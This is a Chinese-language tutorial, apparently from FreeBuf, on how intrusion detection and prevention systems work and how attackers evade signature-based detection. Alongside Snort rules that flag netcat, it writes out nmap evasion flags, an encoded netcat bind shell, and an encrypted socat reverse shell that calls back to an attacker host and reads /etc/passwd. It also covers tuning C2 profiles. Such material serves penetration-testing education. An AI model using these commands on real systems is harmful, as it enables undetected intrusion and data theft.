
简介
基于检测的IDS
基于防御的IPS
基于主机的 IDS (HIDS) 安装于操作系统上,监控进出主机的流量或者主机进程等信息。
基于网络的 IDS (NIDS) 是用于监控网络流量的专用设备或服务器。 这可以通过将 NIDS 连接到交换机上的监视器端口来实现。 NIDS 将处理网络流量以检测恶意流量。
HIDS与NIDS的监控范围如下:
IDS工作原理
1.正常流量:这是我们需要的流量且不希望IDS告警
2.恶意流量:我们希望IDS检测出它
IDS 检测引擎要么围绕恶意流量的观察,检测恶意流量和活动;要么围绕正常流量和活动而构建“基线测
量值”,已“正常”的偏差来旁路指出“恶意流量”,“异常”。
因此,IDS可以是:
1.规则签名:基于签名的 IDS 需要全面了解恶意(或不需要的)流量。需要明确地向基于签名的检测引擎
提供恶意流量的特征。 使用明确的匹配规则来告诉 IDS 关于恶意流量的信息。
2.基于正常流量基线的异常:这要求 IDS 了解常规流量的样子。 我们需要“教”IDS 什么是正常的,以便它
能够识别什么是不正常的。可以使用机器学习或手动规则来实施。
显而易见,不同企业的“异常”基线肯定不一致,它们如同蜜罐蜜网一样,需要定制化已融入不同的企业环
境,这种定制化开发了新的业务与市场。
IDS规则触发
只要不是重造轮子,大部分语法都与snort和Suricata语义一致,语法关联手册如下:
http://manual-snort-org.s3-website-us-east-1.amazonaws.com/node1.html
https://suricata.readthedocs.io/en/suricata-6.0.0/rules/differences-from-snort.html
下面是 Snort IPS布局中的一个drop规则:
drop icmp any any -> any any (msg: "ICMP Ping Scan"; dsize:0; sid:1000020; rev: 1;)
将任何 ICMP 类型的数据包从任何源 IP 地址(任何端口)丢弃到任何目标 IP 地址(任何端口)。生成的
日志消息为ICMP Ping Scan;dsize:0?icmp全丢,因此不需要检测数据包;sid:1000020,这个规则的编
号是1000020;rev: 1,修订号,版本号,第一次编写的规则版本自然命名1。
https://duckduckgo.com/ 使用良好的搜索引擎,得到语法解释:阻止(block)并记录这个数据包
让我们“幼稚”的创建一个检测ncat的规则
alert tcp any any <> any 80 (msg: "Netcat Exploitation"; content:"ncat"; sid: 1000030; rev:1;)
我们将ncat换成ASCII编码版本(6e 63 61 74)并加上如下的一些语法“符号 | 包含它”
alert tcp any any <> any 80 (msg: "Netcat Exploitation"; content:"|6e 63 61 74|"; sid: 1000031; rev:1;)
如果我们希望在 HTTP POST 请求中看到它,可以进一步细化它。
alert tcp any any <> any 80 (msg: "Netcat Exploitation"; flow:established,to_server; content:"POST";
nocase; http_method; content:"ncat"; nocase; sid:1000032; rev:1;)
flow:established表示链接已建立,即TCP三次握手建立,启动的流。
to_server 到服务器
nocase 忽略content:"POST" 中的大小写
如果攻击者进行了最轻微的更改以避免使用ncat在payload中出现,攻击将被忽视,设备不会生成告警。
bypass 基于签名的 IDS/IPS 技术
通过操作协议bypass
通过操纵有效载荷bypass
通过操纵路线bypass
通过战术拒绝服务 ( DoS ) bypass
通过操作协议bypass
通过协议操作进行的规避包括:
● 依赖不同的协议
● 操作(源)TCP/UDP 端口
● 使用会话拼接(IP包分片)
● 发送无效数据包
依赖不同的协议
这个最容易理解:drop icmp any any -> any any,icmp都被丢弃了,您还不修改协议吗?
下图中设置了一个 IPS 来阻止 DNS 查询和 HTTP 请求。 它强制执行本地机器无法查询外部 DNS 服务器但应该查询本地 DNS 服务器的策略; 此外,它还强制执行安全的 HTTP 通信。 当涉及到 HTTPS 时,它是相对宽松的。 在这种情况下,使用 HTTPS 隧道传输流量看起来是一种很“刑”的逃避 IPS 的方法。
操作(源)TCP/UDP 端口
如果组织的安全解决方案不是, IDS/IPS 提供的深度数据包检测 (DPI)
则使用namp扫描80端口时,将被解读为HTTP的流量;扫描53端口时,将被解读为DNS服务器交换
nmap -sS -Pn -g 80 -F MACHINE_IP
nmap -sU -Pn -g 53 -F MACHINE_IP
使流量看起来像是与 DNS 服务器交换
nc同理,如果组织没有 IDS/IPS 提供的深度数据包检测 (DPI),将被解读为普通的TCP和UDP通信
ncat -lvnp 25
ncat -ulvnp 162
攻击者本地建立nc监听,使得目标回连。您可以想想,这种组织提交的日志将全部都是“正常”的HTTP与DNS交换流量,使得您基于大数据SIEM平台一搜索炸一看,一切“正常”。
使用会话拼接(IP包分片)
IPv4 中可能的另一种方法是IP 数据包分段,即会话拼接。 假设是,如果您将与攻击相关的数据包分解成
更小的数据包,将可以绕过规则。除非 IDS 重新组装数据包,否则不会触发规则。
请看以下规则中的dsize
XXX XXX any any -> any any (msg: "XXX"; dsize:>50; sid:1000020; rev: 1;)
nmap -f 设置为8字节 -ff 数据限制为最多16个字节 --mtu SIZE 自定义大小8的倍数
假设您想强制将所有数据包分段为特定大小。 可以考虑使用 Fragroute 工具
https://www.monkey.org/~dugsong/fragroute/
对于简单的 IP 数据包分段,使用配置文件就足够了,可以创建一个fragroute.conf配置文件,设置 ip_frag SIZE (ip_frag 16)为8的整数倍
fragroute -f fragroute.conf HOST
发送无效数据包
例如,一个 IDS/IPS 可能会处理一个无效的数据包,而目标系统可能会忽略它。 确切的行为需要一些实验或内部知识。
Nmap 可以通过多种方式创建无效数据包。两个常见的选项是:
TCP/UDP 校验和无效: --badsum
无效的 TCP 标志:--scanflags <URG,ACK,PSH,RST,SYN,FIN>
hping3也可以制作有效或者无效的数据包。
通过操纵有效载荷bypass
通过有效载荷操作进行的规避包括:
● 对有效负载进行混淆和编码
● 加密通信通道
● 修改shellcode
对有效负载进行混淆和编码
因为 IDS 规则非常具体,所以您可以进行微小的更改以避免检测。 这些更改包括添加额外字节、混淆攻击数据和加密通信。
可以将一些常见的转换(例如 Base64、URL 编码和 Unicode 转义序列)应用于您的命令以避免触发 IDS/IPS 签名。
将 ncat -lvnp 1234 -e /bin/bash 编码为 Base64 格式:
vi input.txt (写入 ncat -lvnp 1234 -e /bin/bash)
base64 input.txt
URL编码
URL 编码将某些字符转换为 %HH 形式,其中 HH 是十六进制 ASCII 表示。 英文字母、句点、破折号和下划线不受影响。 您可以参考 RFC 3986(https://datatracker.ietf.org/doc/html/rfc3986#section-2.4) 中的第 2.4 节了解更多信息。
apt install gridsite-clients
urlencode ncat -lvnp 1234 -e /bin/bash
ncat -lvnp 1234 -e /bin/bash变成 ncat%20-lvnp%201234%20-e%20%2Fbin%2FbashURL编码后。 根据 IDS/IPS 签名匹配的内容,URL 编码可能有助于逃避检测。
使用转义的 Unicode
编码技术基于这样的事实:如果您使用转义的 Unicode,某些应用程序仍会处理您的输入并正确执行它。
https://icyberchef.com/
加密通信通道
由于 IDS/IPS 不会检查加密数据,因此攻击者可以利用加密来逃避检测。 与编码不同,加密需要加密密钥。
一种直接的方法是在攻击者的系统上创建必要的加密密钥并设置 socat在侦听传入连接时使用加密密钥强制加密。 可以分三个步骤执行加密的反向 shell:
创建密钥
在攻击者的机器上监听
连接到攻击者的机器
攻击者会在机器上创建openssl密钥
openssl req -x509 -newkey rsa:4096 -days 365 -subj '/CN=www.redteam.thm/O=Red Team THM/C=UK' -nodes -keyout redTeam.key -out redTeam.crt
● req表示这是一个证书签名请求。 显然,我们不会提交我们的证书进行签名。
● -x509指定我们想要一个 X.509 证书
● -newkey rsa:4096使用 RSA 创建一个新的证书请求和一个新的私钥,密钥大小为 4096 位。 (您可以使用 RSA 密钥大小的其他选项,例如 -newkey rsa:2048.)
● -days 365表明我们的证书有效期为一年
● -subj通过命令行设置数据,例如组织和国家。
● -nodes简化了我们的命令并且不加密私钥
● -keyout PRIVATE_KEY指定我们要保存私钥的文件名
● -out CERTIFICATE指定我们要写入证书请求的文件名
因为自签名,IDS/IPS会发现它与CA之间的异常,浏览器内置的CA源也会提醒您。
上面的命令返回:
● 私钥: redTeam.key
● 证书: redTeam.crt
隐私增强邮件 (PEM) .pem文件需要连接私钥 .key和证书 .crt文件。 我们可以用 cat从我们刚刚创建的两个文件创建我们的 PEM 文件:
cat redTeam.key redTeam.crt > redTeam.pem
准备好 PEM 文件后,我们可以开始监听,同时使用密钥加密与客户端的通信。
socat -d -d OPENSSL-LISTEN:4443,cert=redTeam.pem,verify=0,fork STDOUT
● -d -d提供一些调试数据(致命、错误、警告和通知消息)
● OPENSSL-LISTEN:PORT_NUM表示连接将使用 OPENSSL 加密
● cert=PEM_FILE提供 PEM 文件(证书和私钥)以建立加密连接
● verify=0禁用检查对等方的证书
● fork创建一个子进程来处理每个新连接。
在受害者系统上, socat OPENSSL:redTeamIP:4443,verify=0 EXEC:/bin/bash 请注意, EXEC调用指定的程序。
此时,攻击者运行 cat /etc/passwd
如果 IDS/ IPS 检查流量,所有的数据包数据都将被加密。突出显示的数据包包含 cat /etc/passwd; 但是,它是加密的。
如您所知,无法理解正在交换的命令或数据。 为了更好地了解增加的加密层的值,将其与等效的 socat不使用加密的连接。
在攻击者的系统上,运行 socat -d -d TCP-LISTEN:4443,fork STDOUT.
在受害者的机器上,运行 socat TCP:10.20.30.129:4443 EXEC:/bin/bash.
回到攻击者的系统,输入 cat /etc/passwd并按 Enter/Return。
此外,跟踪 TCP 流是一项微不足道的任务,您只需要百度或者右键寻找,“Follow TCP Stream”选项。
修改shellcode
https://nets.ec/Shellcode/Self-modifying 里面阅读此文章来帮助理解。
简而言之将shell以前为“2+2=4”,使用各种技巧改成“1+1+1+0.5+0.5=4”
msf中使用“多态”生成shell也是说的这个事情。
通过操纵路线bypass
通过路由操纵进行的规避包括:
● 依赖源路由
● 使用代理服务器
依赖源路由
在许多情况下,您可以使用源路由强制数据包使用特定路由到达目的地。
Nmap 使用选项提供此功能 --ip-options Nmap 提供松散和严格的路由:
松散:--ip-options "L 10.10.10.50 10.10.50.250" 通过提供的两个 IP 地址进行路由。
严格:--ip-options "S 10.10.10.1 10.10.20.2 10.10.30.3" 到达目标主机之前经过这三个跃点
使用代理服务器
nmap -sS HTTP://PROXY_HOST1:8080,SOCKS4://PROXY_HOST2:4153 MACHINE_IP
通过HTTP代理再通过SOCKS4代理,最后到达目标主机
通过战术拒绝服务 ( DoS ) bypass
通过战术 DoS 包括:
● 针对 IDS/IPS 发起拒绝服务
● 针对日志服务器启动拒绝服务
C2 和IDS/IPS规避
渗透测试框架,例如 Cobalt Strike 和 Empire,提供可扩展的命令和控制 ( C2 ) 配置文件。 这些配置文件允许进行各种微调以规避 IDS/IPS 系统。 如果您正在使用这样的框架,则值得创建自定义配置文件而不是依赖默认配置文件。 您可以控制的示例变量包括:
● User-Agent: 您正在使用的工具或框架可以通过其默认设置的用户代理向您展示。因此,将用户代理设置为无害的东西并进行测试以确认您的设置总是很重要的。
● Sleep Time: 睡眠时间允许您控制信标签入之间的回调间隔。换句话说,您可以控制受感染系统尝试连接到控制系统的频率。
● Jitter: 此变量允许您为睡眠时间添加一些随机性,由抖动百分比指定。30% 的抖动会导致 ±30% 的睡眠时间,以进一步逃避检测。
● SSL Certificate: 使用看起来真实的 SSL 证书将显着提高您逃避检测的机会。这是非常值得的时间投资。
● DNS Beacon: 考虑使用 DNS 协议来泄露数据的情况。您可以通过在 DNS 查询中设置 DNS 服务器和主机名来微调 DNS 信标。主机名将保存泄露的数据。
这个 CobaltStrike 指南配置文件 显示了配置文件是如何组合在一起的。
https://github.com/bigb0sss/RedTeam-OffensiveSecurity/blob/master/01-CobaltStrike/malleable_C2_profile/CS4.0_guideline.profile
下一代安全
下一代网络 IPS 根据 Gartner(https://www.gartner.com/en/documents/2390317-next-generation-ips-technology-disrupts-the-ips-market):
标准的第一代 IPS 功能:下一代网络 IPS 应该可以达到传统网络 IPS 的能力。
应用程序感知和全栈可见性:识别来自各种应用程序的流量并执行网络安全策略。 NGNIPS 必须能够理解应用层。
情境感知:使用来自 IPS 来帮助阻止决策。
内容感知:能够在入站和出站流量中检查和分类文件,例如可执行程序和文档。
敏捷引擎:支持升级路径以从新的信息源中受益。
由于下一代防火墙 (NGFW) 提供与 IPS ,因此 NGNIPS 一词似乎因为 NGFW 而不再流行。
感谢师傅们很有耐心的阅读到了这里。我们还会再见面的。共勉。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)